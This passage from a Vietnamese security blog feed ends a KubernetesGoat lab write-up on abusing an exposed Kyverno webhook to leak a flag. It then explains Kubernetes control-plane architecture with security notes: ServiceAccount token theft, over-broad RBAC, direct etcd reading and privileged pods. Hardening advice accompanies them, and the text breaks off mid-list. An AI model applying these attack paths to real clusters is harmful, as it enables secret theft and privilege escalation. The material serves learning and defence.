<p>Kyverno hoạt động dựa trên cơ chế <strong>Mutating Webhook</strong> (một dịch vụ mạng chạy ngầm). Khi có yêu cầu tạo Pod, Kubernetes API Server sẽ gửi một gói tin dữ liệu cấu hình (dạng JSON) đến Webhook này của Kyverno để nó chỉnh sửa.</p>

<p>Cái sai nghiêm trọng của người quản trị ở đây là: <strong>Họ mở  dịch vụ Webhook này (<code class="language-plaintext highlighter-rouge">https://kyverno-svc.kyverno/mutate</code>) cho tất cả các Pod nội bộ truy cập</strong> mà không hề cấu hình tường lửa mạng (Network Policy) hay xác thực mTLS để chặn lại.</p>

<ol>
  <li>
    <p><strong>Gửi cấu hình nháp:</strong> Bạn dùng lệnh <code class="language-plaintext highlighter-rouge">curl</code> để gửi một file JSON cấu hình nháp (<code class="language-plaintext highlighter-rouge">pod.json</code>) giả vờ như đang muốn tạo một Pod trong namespace <code class="language-plaintext highlighter-rouge">sensitive-ns</code> thẳng tới cổng dịch vụ của Kyverno.</p>
  </li>
  <li>
    <p><strong>Kyverno bị lừa:</strong> Kyverno nhận được gói tin, không hề kiểm tra xem ai gửi, cứ thấy có yêu cầu tạo Pod ở <code class="language-plaintext highlighter-rouge">sensitive-ns</code> là nó tự động làm theo lập trình: <strong>Chèn ngay đoạn mã chứa Flag vào cấu hình</strong> rồi gửi trả ngược lại cho bạn.</p>
  </li>
  <li>
    <p><strong>Lấy Flag:</strong> Đoạn mã chứa Flag trả về được mã hóa dưới dạng Base64 để bảo toàn cấu trúc dữ liệu, bạn chỉ cần mang chuỗi đó đi giải mã (<code class="language-plaintext highlighter-rouge">base64 -d</code>) là nhìn thấy Flag lộ ra rõ mồm một.</p>
  </li>
</ol>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Security-Research" /><category term="Kubernetes" /><category term="Security" /><summary type="html"><![CDATA[Buổi 1 : Học trên KubernetesGoat]]></summary></entry><entry><title type="html">K8S Architecture - From Fundamentals to Security Perspective</title><link href="https://phucquan.github.io/security-research/2026/05/19/k8s-architecture/" rel="alternate" type="text/html" title="K8S Architecture - From Fundamentals to Security Perspective" /><published>2026-05-19T17:00:00+00:00</published><updated>2026-05-19T17:00:00+00:00</updated><id>https://phucquan.github.io/security-research/2026/05/19/k8s-architecture</id><content type="html" xml:base="https://phucquan.github.io/security-research/2026/05/19/k8s-architecture/"><![CDATA[<h3 id="i-giới-thiệu-tổng-quan-về-k8s">I. Giới thiệu tổng quan về K8S</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260520094943.png" alt="" /></p>

<p>Trong các hệ thống hiện đại, ứng dụng thường không còn được triển khai dưới dạng một khối duy nhất trên một máy chủ cố định. Thay vào đó, chúng được chia nhỏ thành nhiều service, đóng gói dưới dạng container và chạy trên nhiều máy chủ khác nhau. Cách tiếp cận này giúp ứng dụng dễ triển khai, dễ mở rộng và linh hoạt hơn, nhưng đồng thời cũng tạo ra một bài toán mới: làm thế nào để quản lý hàng chục, hàng trăm hoặc thậm chí hàng nghìn container một cách ổn định?</p>

<p>Kubernetes, thường được viết tắt là K8s, là một nền tảng mã nguồn mở dùng để điều phối container. Nó giúp tự động hóa các công việc như triển khai ứng dụng, phân bổ tài nguyên, mở rộng số lượng instance, cân bằng tải, tự phục hồi khi container gặp lỗi và quản lý vòng đời của workload trong môi trường phân tán.</p>

<p>Kubernetes trở nên phổ biến vì nó giải quyết được nhiều vấn đề cốt lõi khi vận hành ứng dụng container hóa ở quy mô lớn. Thay vì phải tự chọn máy chủ để chạy container, tự restart khi lỗi, tự cấu hình load balancing hoặc tự scale thủ công, người vận hành chỉ cần khai báo trạng thái mong muốn của hệ thống. Kubernetes sẽ chịu trách nhiệm đưa trạng thái thực tế của cluster về gần nhất với trạng thái đã khai báo.</p>

<p>So với việc chạy container thủ công bằng Docker trên từng máy chủ riêng lẻ, Kubernetes cung cấp một lớp điều phối mạnh hơn nhiều. Nó không chỉ chạy container, mà còn quản lý scheduling, networking, service discovery, storage, secret, rollout/rollback và khả năng tự phục hồi. Đây là lý do Kubernetes trở thành nền tảng tiêu chuẩn trong nhiều hệ thống cloud-native, microservices, DevOps và CI/CD hiện nay.</p>

<p>Tầm quan trọng của Kubernetes không chỉ nằm ở khả năng vận hành ứng dụng, mà còn nằm ở việc nó trở thành lớp hạ tầng trung tâm của nhiều hệ thống hiện đại. Một cluster Kubernetes có thể chứa nhiều ứng dụng quan trọng, dữ liệu nhạy cảm, thông tin xác thực, service nội bộ và quyền truy cập tới hạ tầng bên dưới. Vì vậy, nếu Kubernetes bị cấu hình sai hoặc bị tấn công, hậu quả có thể không chỉ dừng lại ở một container riêng lẻ mà có thể ảnh hưởng tới toàn bộ cluster.</p>

<p>Chính vì vậy, để nghiên cứu các kỹ thuật tấn công và leo thang đặc quyền trong Kubernetes, trước tiên cần hiểu rõ kiến trúc và vai trò của từng thành phần trong cluster. Đây là nền tảng để phân tích attacker có thể xâm nhập từ đâu, lạm dụng quyền như thế nào và cần áp dụng các cơ chế phòng thủ nào để bảo vệ hệ thống.</p>

<h2 id="ii-tìm-hiểu-về-kiến-trúc-k8s">II. Tìm hiểu về kiến trúc K8S</h2>

<p>Kubernetes là một hệ thống điều phối container mã nguồn mở được sử dụng rộng rãi ,giúp giảm tải công việc khi tự động triển khai ,thu phóng hoặc quản lý container trong các hệ thống phân tán .</p>

<p>Về ý tưởng thì K8S tạo ra 1 platform để chạy các container trên các máy chủ (Baremental hoặc VM ) mà việc cấp pháp và quản lý tài nguyên do K8S đảm nhiệm</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260517212337.png" alt="" /></p>

<p>Như hình ảnh bạn thấy ở trên thì một Kubernetes sẽ bao gồm 2 phần chính là <strong>Control Plane</strong> và <strong>Worker Nodes</strong> . Control Plane đóng vai trò là bộ não của cluster , chịu trách nhiệm quản lý , điều phối và duy trì trạng thái mong muốn của hệ thống . Cùng vào đó thì các Worker nodes chịu trách nhiệm là nơi cùng cấp tài nguyên cho các ứng dụng container hóa dưới dạng Pods.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260520094140.png" alt="" /></p>

<h2 id="ii-các-thành-phần-trong-control-plane">II. Các thành phần trong Control Plane</h2>

<p><img src="/assets/images/posts/Pasted%20image%2020260520094014.png" alt="" /></p>

<p>Sau khi hiểu tổng quan rằng một Kubernetes cluster gồm <strong>Control Plane</strong> và <strong>Worker Nodes</strong>, ta sẽ đi sâu hơn vào từng thành phần bên trong. Mỗi thành phần có một vai trò riêng, nhưng chúng phối hợp với nhau để đảm bảo ứng dụng luôn chạy đúng trạng thái mong muốn.</p>

<h3 id="control-plane">Control plane</h3>

<p>Control Plane nói đơn giản như nó là 1 trung tâm điều khiển của K8S cluster . Nó không trực tiếp chạy ứng dụng mà chịu trực tiếp quản lí toàn bộ trạng thái của cluster , đưa ra quyết định và phản ứng khi có sự cố xảy ra .</p>

<p>Ví dụ, khi bạn tạo một Deployment với 3 replicas, Control Plane sẽ đảm bảo luôn có 3 Pods đang chạy. Nếu một Pod bị lỗi hoặc một Node gặp sự cố, Control Plane sẽ phát hiện và yêu cầu tạo Pod mới ở nơi phù hợp.</p>

<h4 id="các-thành-phần-chính-của-control-plane-bao-gồm">Các thành phần chính của Control Plane bao gồm</h4>

<h3 id="1-api-server">1. API Server</h3>

<p><code class="language-plaintext highlighter-rouge">kube-apiserver</code> là thành phần trung tâm của Kubernetes Control Plane. Nếu xem Kubernetes cluster như một hệ thống phân tán gồm nhiều thành phần khác nhau, thì API Server chính là <strong>cổng giao tiếp chính</strong> để tất cả các thành phần đó làm việc với nhau.</p>

<p>Mọi thao tác với Kubernetes gần như đều đi qua API Server. Khi người dùng chạy <code class="language-plaintext highlighter-rouge">kubectl</code>, khi dashboard gửi request, khi CI/CD pipeline deploy ứng dụng, hoặc khi các component nội bộ như scheduler, controller-manager, kubelet cần cập nhật trạng thái, tất cả đều giao tiếp thông qua Kubernetes API.</p>

<p>Có thể hiểu đơn giản:</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">kube-apiserver</code> là entry point của Kubernetes cluster. Nó tiếp nhận request, kiểm tra request có hợp lệ và có được phép thực hiện hay không, sau đó ghi nhận trạng thái mới vào <code class="language-plaintext highlighter-rouge">etcd</code>.</p>
</blockquote>

<p>Một điểm quan trọng là API Server <strong>không tự chạy container</strong> và cũng <strong>không tự quyết định Pod chạy ở Node nào</strong>. Nó đóng vai trò như lớp trung gian điều phối request và lưu trạng thái. Các thành phần khác sẽ quan sát trạng thái trong cluster thông qua API Server rồi thực hiện nhiệm vụ của mình.</p>

<p>Ví dụ, khi ta chạy lệnh:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl apply <span class="nt">-f</span> nginx-deployment.yaml
</code></pre></div></div>

<p>Luồng xử lý ở mức high level sẽ như sau:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl gửi request đến kube-apiserver
        ↓
kube-apiserver xác thực danh tính người gửi request
        ↓
kube-apiserver kiểm tra người đó có quyền thực hiện hành động hay không
        ↓
Admission Controller kiểm tra hoặc chỉnh sửa object trước khi lưu
        ↓
kube-apiserver ghi trạng thái mong muốn vào etcd
        ↓
Các component khác như scheduler/controller/kubelet quan sát thay đổi này
        ↓
Cluster dần đưa trạng thái thực tế về đúng trạng thái mong muốn
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260520090705.png" alt="" /></p>

<p>Hình ảnh minh họa : https://iximiuz.com/en/posts/kubernetes-api-how-to-extend/</p>

<h4 id="api-server-xử-lý-request-như-thế-nào">API Server xử lý request như thế nào?</h4>

<p>Một request gửi tới Kubernetes API Server thường đi qua các bước quan trọng sau:</p>

<p><strong>1. Authentication - xác thực danh tính</strong></p>

<p>API Server cần biết request này đến từ ai. Danh tính đó có thể là user, admin, service account, hoặc một component nội bộ trong cluster.</p>

<p>Một số cơ chế authentication phổ biến gồm:</p>

<ul>
  <li>X.509 client certificate</li>
  <li>Bearer token</li>
  <li>ServiceAccount token</li>
  <li>OIDC token</li>
  <li>Webhook token authentication</li>
</ul>

<p>Ví dụ, khi một Pod gọi đến API Server, nó thường sử dụng ServiceAccount token được mount vào trong Pod tại đường dẫn:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/run/secrets/kubernetes.io/serviceaccount/token
</code></pre></div></div>

<p>Đây cũng là lý do trong các kịch bản tấn công Kubernetes, sau khi attacker có shell trong Pod, một trong những việc đầu tiên họ thường làm là kiểm tra token này.</p>

<p><strong>2. Authorization - kiểm tra quyền</strong></p>

<p>Sau khi biết request đến từ ai, API Server cần kiểm tra người đó có được phép thực hiện hành động hay không.</p>

<p>Trong Kubernetes, cơ chế authorization phổ biến nhất là <strong>RBAC</strong>.</p>

<p>Ví dụ:</p>

<ul>
  <li>User A có được <code class="language-plaintext highlighter-rouge">get pods</code> trong namespace <code class="language-plaintext highlighter-rouge">default</code> không?</li>
  <li>ServiceAccount B có được <code class="language-plaintext highlighter-rouge">create pods</code> không?</li>
  <li>ServiceAccount C có được <code class="language-plaintext highlighter-rouge">get secrets</code> không?</li>
  <li>Một account có được <code class="language-plaintext highlighter-rouge">create clusterrolebindings</code> hay không?</li>
</ul>

<p>Các câu hỏi này được trả lời thông qua RBAC rules.</p>

<p>Một lệnh thường dùng để kiểm tra quyền là:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i get pods
</code></pre></div></div>

<p>Hoặc kiểm tra quyền của một ServiceAccount cụ thể:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="nt">--as</span><span class="o">=</span>system:serviceaccount:attack-lab:vulnerable-sa
</code></pre></div></div>

<p>Trong privilege escalation, phần RBAC rất quan trọng vì nhiều attack path bắt đầu từ một ServiceAccount có quyền quá rộng. Ví dụ nếu một ServiceAccount có quyền <code class="language-plaintext highlighter-rouge">create pods</code>, <code class="language-plaintext highlighter-rouge">get secrets</code>, <code class="language-plaintext highlighter-rouge">bind</code>, <code class="language-plaintext highlighter-rouge">escalate</code>, <code class="language-plaintext highlighter-rouge">impersonate</code> hoặc wildcard <code class="language-plaintext highlighter-rouge">*</code>, attacker có thể lạm dụng để leo thang đặc quyền.</p>

<p><strong>3. Admission Control - kiểm tra trước khi object được lưu</strong></p>

<p>Sau authentication và authorization, request còn có thể đi qua Admission Controller.</p>

<p>Admission Controller là lớp kiểm soát cuối cùng trước khi object được lưu vào etcd. Nó có thể:</p>

<ul>
  <li>Cho phép request</li>
  <li>Từ chối request</li>
  <li>Tự động thêm/sửa một số field trong object</li>
</ul>

<p>Ví dụ, trong bài toán security, Admission Controller có thể được dùng để chặn các Pod nguy hiểm như:</p>

<ul>
  <li>Pod chạy với <code class="language-plaintext highlighter-rouge">privileged: true</code></li>
  <li>Pod dùng <code class="language-plaintext highlighter-rouge">hostPath</code> để mount filesystem của Node</li>
  <li>Pod bật <code class="language-plaintext highlighter-rouge">hostPID</code>, <code class="language-plaintext highlighter-rouge">hostIPC</code>, <code class="language-plaintext highlighter-rouge">hostNetwork</code></li>
  <li>Container cho phép <code class="language-plaintext highlighter-rouge">allowPrivilegeEscalation: true</code></li>
  <li>Container chạy bằng user root</li>
</ul>

<p>Các công cụ như <strong>Pod Security Admission</strong>, <strong>Kyverno</strong> hoặc <strong>OPA Gatekeeper</strong> đều hoạt động ở lớp này để enforce policy.</p>

<p><strong>4. Persist state vào etcd</strong></p>

<p>Nếu request vượt qua các bước kiểm tra, API Server sẽ ghi trạng thái mới vào <code class="language-plaintext highlighter-rouge">etcd</code>.</p>

<p>Điểm cần nhớ là Kubernetes vận hành theo mô hình <strong>desired state</strong>. Người dùng khai báo trạng thái mong muốn, API Server lưu trạng thái đó vào etcd, sau đó các component khác sẽ dần đưa hệ thống về đúng trạng thái mong muốn.</p>

<p>Ví dụ, khi ta tạo Deployment với 3 replicas, thông tin “tôi muốn có 3 Pod” được lưu vào etcd. Sau đó controller-manager, scheduler và kubelet phối hợp để tạo và chạy các Pod tương ứng.</p>

<h4 id="api-server-trong-cluster-local">API Server trong cluster local</h4>

<p>Nếu cluster được dựng bằng <code class="language-plaintext highlighter-rouge">kubeadm</code>, <code class="language-plaintext highlighter-rouge">kind</code> hoặc <code class="language-plaintext highlighter-rouge">minikube</code>, <code class="language-plaintext highlighter-rouge">kube-apiserver</code> thường chạy dưới dạng Pod trong namespace <code class="language-plaintext highlighter-rouge">kube-system</code>.</p>

<p>Có thể kiểm tra bằng lệnh:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> kube-system
</code></pre></div></div>

<p>Hoặc lọc riêng API Server:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> kube-system <span class="nt">-o</span> name | <span class="nb">grep </span>apiserver
</code></pre></div></div>

<p>Trong mô hình kubeadm, manifest của API Server thường nằm tại:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/manifests/kube-apiserver.yaml
</code></pre></div></div>

<p>Đây là static Pod manifest. Khi file manifest này thay đổi, kubelet trên control plane node sẽ tự động phát hiện và restart static Pod tương ứng.</p>

<h4 id="góc-nhìn-bảo-mật">Góc nhìn bảo mật</h4>

<p>API Server là một trong những attack surface quan trọng nhất của Kubernetes. Nếu API Server bị expose sai cách, cấu hình authentication/authorization yếu, hoặc RBAC quá rộng, attacker có thể enumerate tài nguyên, đọc secret, tạo workload độc hại hoặc leo thang lên quyền cao hơn.</p>

<p>Một số rủi ro thường gặp:</p>

<ul>
  <li>Bật anonymous access không kiểm soát</li>
  <li>RBAC cấp quyền quá rộng cho user hoặc ServiceAccount</li>
  <li>Không bật audit log nên khó điều tra hành vi bất thường</li>
  <li>Admission policy không chặn được Pod nguy hiểm</li>
  <li>API Server bị expose ra Internet hoặc mạng không tin cậy</li>
  <li>Token/kubeconfig bị lộ, cho phép attacker gọi API Server như người dùng hợp lệ</li>
</ul>

<p>Một số hướng hardening quan trọng:</p>

<ul>
  <li>Bật RBAC và áp dụng nguyên tắc least privilege</li>
  <li>Hạn chế quyền nguy hiểm như <code class="language-plaintext highlighter-rouge">create pods</code>, <code class="language-plaintext highlighter-rouge">get secrets</code>, <code class="language-plaintext highlighter-rouge">bind</code>, <code class="language-plaintext highlighter-rouge">escalate</code>, <code class="language-plaintext highlighter-rouge">impersonate</code>, <code class="language-plaintext highlighter-rouge">create clusterrolebindings</code></li>
  <li>Bật Kubernetes audit log để ghi nhận các hành vi nhạy cảm</li>
  <li>Dùng Pod Security Admission hoặc Kyverno để chặn Pod nguy hiểm</li>
  <li>Không expose API Server ra ngoài nếu không cần thiết</li>
  <li>Bảo vệ kubeconfig, ServiceAccount token và certificate</li>
  <li>Xoay vòng credential khi nghi ngờ bị lộ</li>
</ul>

<h3 id="2-etcd">2. ETCD</h3>

<p><code class="language-plaintext highlighter-rouge">etcd</code> là nơi lưu trữ toàn bộ dữ liệu trạng thái cluster dưới dạng key-value store</p>

<p>Các thông tin như Nodes , Pods, Services, Config Maps , Secrets, Deployment,… đều được lưu trong etcd.</p>

<p>Ví dụ , khi bạn tạo một Deployment , thông tin về Deployment đó sẽ được lưu vào etcd. Sau đó các thành phần khác của Control Planel sẽ đọc trạng thái này và thực hiện các hoạt động cần thiết để biến trạng thái mong muốn thành thực tế . Mọi thông tin khi bạn sử dụng lệnh <code class="language-plaintext highlighter-rouge">kubectl</code> để truy xuất đều từ etcd data store.</p>

<p>Vì etcd lưu dữ liệu quan trọng của cluster , nên nó thường cần có cơ chế backup trong môi trường production.</p>

<p>Tùy thuộc và cách bạn setup cluster , etcd thì setup theo kiểu khác. Bạn có thể setup etcd from scatch sử dụng binary hoặc có thể deploy etcd bằng cách sử dụng kubeadm,minikube,k3s tools, . Dưới đây là case mà etcd được deploy dưới dạng Pod nằm trong kubesystem namspace .</p>

<p>Xem etcd pod</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519212052.png" alt="" /></p>

<p>Lưu etcd pod name trong biến môi trường</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519212147.png" alt="697" /></p>

<p>Xem rõ hơn về thông tin về Pod để biết được thiết lập ở trong etcd datastore</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl describe pod $ETCDPODNAME -n kube-system
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260519212333.png" alt="" /></p>

<p>Nhìn vào output của pod etcd ở trên, ta có thể thấy etcd đang chạy trong namespace <code class="language-plaintext highlighter-rouge">kube-system</code> với tên pod là <code class="language-plaintext highlighter-rouge">etcd-control-plane-o3n9bb2t</code>. Phần quan trọng cần chú ý là cấu hình <code class="language-plaintext highlighter-rouge">--advertise-client-urls</code>.</p>

<p>Đây chính là endpoint mà etcd dùng để lắng nghe kết nối từ Kubernetes API Server. Port 2379 là port mặc định dành cho client của etcd. Vì vậy, khi kiểm tra cấu hình của API Server, flag –etcd-servers cũng sẽ trỏ tới cùng địa chỉ này.</p>

<p>Ta có thể lưu endpoint này vào biến môi trường để sử dụng ở các bước tiếp theo:</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519213239.png" alt="" /></p>

<p>Sau khi chạy lệnh echo, nếu terminal in ra đúng giá trị https://172.31.3.83:2379 thì biến môi trường đã được thiết lập thành công.</p>

<p>Tiếp theo , chúng ta biết etcd sử dụng dạng lưu trữ key:value vậy nên chúng ta cũng có thể liệt kê được các key lưu trữ sau bằng cách chạy dòng lệnh này</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519213450.png" alt="" /></p>

<p>Root path trong etcd chính thường được sử dụng là <code class="language-plaintext highlighter-rouge">/registry</code>. Bên dưới <code class="language-plaintext highlighter-rouge">/registry</code>, Kubernetes lưu nhiều loại tài nguyên khác nhau như <code class="language-plaintext highlighter-rouge">pods</code>, <code class="language-plaintext highlighter-rouge">replicasets</code>, <code class="language-plaintext highlighter-rouge">deployments</code>, <code class="language-plaintext highlighter-rouge">services</code>, <code class="language-plaintext highlighter-rouge">secrets</code>, <code class="language-plaintext highlighter-rouge">configmaps</code>, v.v.</p>

<p>Lấy thông tin chi tiết về Pod</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519214717.png" alt="" /></p>

<h4 id="vì-sao-etcd-nhạy-cảm">Vì sao etcd nhạy cảm?</h4>

<p><code class="language-plaintext highlighter-rouge">etcd</code> rất nhạy cảm vì nó lưu toàn bộ trạng thái cluster. Nếu attacker đọc được etcd, họ có thể thu thập nhiều thông tin quan trọng như:</p>

<ul>
  <li>Secret của ứng dụng</li>
  <li>Token hoặc credential được lưu trong Secret</li>
  <li>Cấu hình hệ thống</li>
  <li>Danh sách ServiceAccount</li>
  <li>RBAC rules</li>
  <li>Thông tin về workload, namespace và service nội bộ</li>
</ul>

<p>Đặc biệt, Kubernetes Secret không phải là cơ chế mã hóa mạnh theo mặc định ở tầng object. Secret thường được biểu diễn dưới dạng base64 trong manifest. Base64 chỉ là encoding, không phải encryption.</p>

<p>Trong production, để bảo vệ Secret trong etcd, cần bật <strong>encryption at rest</strong> cho Kubernetes Secret. Khi đó dữ liệu Secret trước khi lưu vào etcd sẽ được mã hóa bằng encryption provider phù hợp.</p>

<p>Nói chính xác hơn:</p>

<blockquote>
  <p>Kubernetes Secret được encode base64 khi biểu diễn dưới dạng YAML/JSON. Việc Secret có được mã hóa khi lưu trong etcd hay không phụ thuộc vào cấu hình encryption at rest của cluster.</p>
</blockquote>

<h4 id="etcd-và-attack-path">etcd và attack path</h4>

<p>Trong một số kịch bản tấn công, attacker có thể nhắm tới etcd theo các hướng sau:</p>

<ul>
  <li>etcd port <code class="language-plaintext highlighter-rouge">2379</code> bị expose ra network không tin cậy</li>
  <li>etcd không yêu cầu TLS client certificate đúng cách</li>
  <li>attacker chiếm được control plane node và đọc được certificate của etcd</li>
  <li>attacker tạo privileged pod hoặc hostPath pod để đọc filesystem trên control plane node</li>
  <li>attacker có quyền exec vào etcd pod trong namespace <code class="language-plaintext highlighter-rouge">kube-system</code></li>
</ul>

<p>Nếu attacker đọc được etcd trực tiếp, họ có thể bỏ qua API Server và RBAC. Đây là worst case vì các lớp kiểm soát như authentication, authorization, admission control không còn phát huy tác dụng ở đường truy cập trực tiếp này.</p>

<p>Một số hướng hardening quan trọng:</p>

<ul>
  <li>Không expose etcd ra Internet hoặc mạng không tin cậy</li>
  <li>Chỉ cho API Server và thành phần cần thiết truy cập etcd</li>
  <li>Bật TLS cho etcd client/server communication</li>
  <li>Bật encryption at rest cho Kubernetes Secret</li>
  <li>Phân quyền chặt chẽ trên control plane node</li>
  <li>Bảo vệ certificate tại <code class="language-plaintext highlighter-rouge">/etc/kubernetes/pki/etcd/</code></li>
  <li>Mã hóa và kiểm soát truy cập backup etcd</li>
  <li>Theo dõi log và network connection bất thường tới port <code class="language-plaintext highlighter-rouge">2379</code></li>
</ul>

<h4 id="backup-và-khôi-phục-etcd">Backup và khôi phục etcd</h4>

<p>Vì etcd lưu toàn bộ trạng thái cluster, backup etcd là một phần rất quan trọng trong vận hành Kubernetes production.</p>

<p>Nếu etcd bị mất dữ liệu hoặc corrupt, cluster có thể mất trạng thái về workload, service, secret, RBAC và nhiều object khác. Vì vậy, production cluster thường cần:</p>

<ul>
  <li>Backup etcd định kỳ</li>
  <li>Kiểm tra khả năng restore từ backup</li>
  <li>Bảo vệ file backup vì backup cũng có thể chứa Secret</li>
  <li>Mã hóa backup và giới hạn quyền truy cập backup</li>
</ul>

<p>Điểm dễ bị bỏ qua là: <strong>backup etcd cũng nhạy cảm gần như etcd thật</strong>. Nếu attacker lấy được backup, họ có thể phân tích offline để tìm secret, token và cấu hình quan trọng.</p>

<p>Trong  privilege escalation, etcd có thể được trình bày như một mục tiêu có giá trị cao. Attack path chính của mình không nhất thiết phải demo chiếm etcd trực tiếp, nhưng cần giải thích rõ rằng nếu attacker có thể truy cập etcd hoặc đọc backup etcd, họ có thể thu thập dữ liệu cực kỳ nhạy cảm và làm suy yếu toàn bộ cluster.</p>

<h3 id="3-scheduler">3. Scheduler</h3>

<p>Scheduler không trực tiếp chạy container và cũng không tạo container. Nhiệm vụ chính của nó là <strong>ra quyết định Pod nên được chạy trên Node nào</strong>. Sau khi Scheduler chọn được Node phù hợp, thông tin này sẽ được cập nhật lại vào Pod object thông qua API Server. Lúc đó kubelet trên Node được chọn mới nhận nhiệm vụ thực sự chạy Pod.</p>

<p>Có thể hiểu đơn giản:</p>

<blockquote>
  <p>kube-scheduler giống như bộ phận điều phối tài nguyên trong cluster. Nó nhìn vào yêu cầu của Pod và tình trạng của các Node, sau đó chọn nơi phù hợp nhất để đặt Pod.</p>
</blockquote>

<p>Khi chọn Node cho Pod, Scheduler thường trải qua hai giai đoạn chính là <strong>Filtering</strong> và <strong>Scoring</strong>.</p>

<p><strong>Filtering</strong> là bước loại bỏ các Node không đủ điều kiện để chạy Pod.</p>

<p>Ví dụ, nếu Pod yêu cầu 2 CPU nhưng một Node chỉ còn 1 CPU khả dụng thì Node đó sẽ bị loại. Tương tự, nếu Pod yêu cầu chạy trên Node có label cụ thể nhưng Node không có label đó thì Node cũng không được chọn.</p>

<p>Một số yếu tố thường được xem xét trong bước filtering gồm:</p>

<ul>
  <li>CPU và memory còn trống trên Node</li>
  <li><code class="language-plaintext highlighter-rouge">nodeSelector</code></li>
  <li>Node affinity hoặc anti-affinity</li>
  <li>Taints và tolerations</li>
  <li>Volume binding</li>
  <li>Trạng thái Node có healthy hay không</li>
</ul>

<p><strong>Scoring</strong> là bước chấm điểm các Node còn lại sau khi đã filtering.</p>

<p>Sau khi loại bỏ các Node không phù hợp, Scheduler sẽ xếp hạng các Node còn lại. Node nào phù hợp hơn sẽ có điểm cao hơn. Ví dụ, Scheduler có thể ưu tiên Node còn nhiều tài nguyên hơn hoặc Node giúp phân tán Pod đều hơn trong cluster.</p>

<p>Cuối cùng, Node có điểm cao nhất sẽ được chọn để chạy Pod.</p>

<h3 id="ví-dụ-kiểm-tra-scheduler-trong-cluster">Ví dụ kiểm tra Scheduler trong cluster</h3>

<p>Tạo một Pod đơn giản:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl run mypod <span class="nt">--image</span><span class="o">=</span>nginx
</code></pre></div></div>

<p>Kiểm tra Pod đang chạy trên Node nào:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod mypod <span class="nt">-o</span> wide
</code></pre></div></div>

<p>Kiểm tra Pod được schedule bởi scheduler nào:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod mypod <span class="nt">-o</span> <span class="nv">jsonpath</span><span class="o">=</span><span class="s1">'{.spec.schedulerName}'</span>
</code></pre></div></div>

<p>Thông thường kết quả sẽ là:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>default-scheduler
</code></pre></div></div>

<p>Xem chi tiết event của Pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl describe pod mypod
</code></pre></div></div>

<p>Trong phần <code class="language-plaintext highlighter-rouge">Events</code>, ta có thể thấy thông tin Pod đã được schedule lên Node nào. Đây là cách dễ nhất để quan sát quá trình scheduling trong lab.</p>

<p>Nếu cluster được dựng bằng <code class="language-plaintext highlighter-rouge">kubeadm</code>, <code class="language-plaintext highlighter-rouge">kind</code> hoặc <code class="language-plaintext highlighter-rouge">minikube</code>, <code class="language-plaintext highlighter-rouge">kube-scheduler</code> thường chạy dưới dạng Pod trong namespace <code class="language-plaintext highlighter-rouge">kube-system</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> kube-system | <span class="nb">grep </span>scheduler
</code></pre></div></div>

<p>Trong mô hình kubeadm, manifest của Scheduler thường nằm tại:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/manifests/kube-scheduler.yaml
</code></pre></div></div>

<p>Port mặc định của kube-scheduler là <code class="language-plaintext highlighter-rouge">10259</code>.</p>

<h3 id="góc-nhìn-bảo-mật-1">Góc nhìn bảo mật</h3>

<p>So với API Server, etcd hoặc kubelet, Scheduler thường không phải là attack surface trực tiếp phổ biến nhất. Tuy nhiên, scheduling vẫn liên quan đến bảo mật vì nó quyết định workload được đặt ở đâu trong cluster.</p>

<p>Một số rủi ro có thể xảy ra nếu attacker có quyền tạo hoặc chỉnh sửa Pod:</p>

<ul>
  <li>Attacker có thể dùng <code class="language-plaintext highlighter-rouge">nodeSelector</code>, <code class="language-plaintext highlighter-rouge">nodeName</code>, affinity hoặc tolerations để ép Pod chạy trên một Node cụ thể.</li>
  <li>Nếu Pod được schedule lên Node nhạy cảm, attacker có thể tăng khả năng tiếp cận workload hoặc tài nguyên quan trọng trên Node đó.</li>
  <li>Nếu Pod được phép dùng cấu hình nguy hiểm như <code class="language-plaintext highlighter-rouge">hostPath</code>, <code class="language-plaintext highlighter-rouge">hostPID</code>, <code class="language-plaintext highlighter-rouge">hostNetwork</code> hoặc <code class="language-plaintext highlighter-rouge">privileged</code>, việc Pod được đặt lên Node quan trọng có thể dẫn tới rủi ro chiếm quyền trên Node.</li>
  <li>Nếu taints/tolerations cấu hình lỏng lẻo, workload không đáng tin cậy có thể chạy trên Node vốn dùng cho workload quan trọng.</li>
</ul>

<p>Vì vậy, khi hardening Kubernetes, cần kết hợp scheduling control với các lớp bảo vệ khác:</p>

<ul>
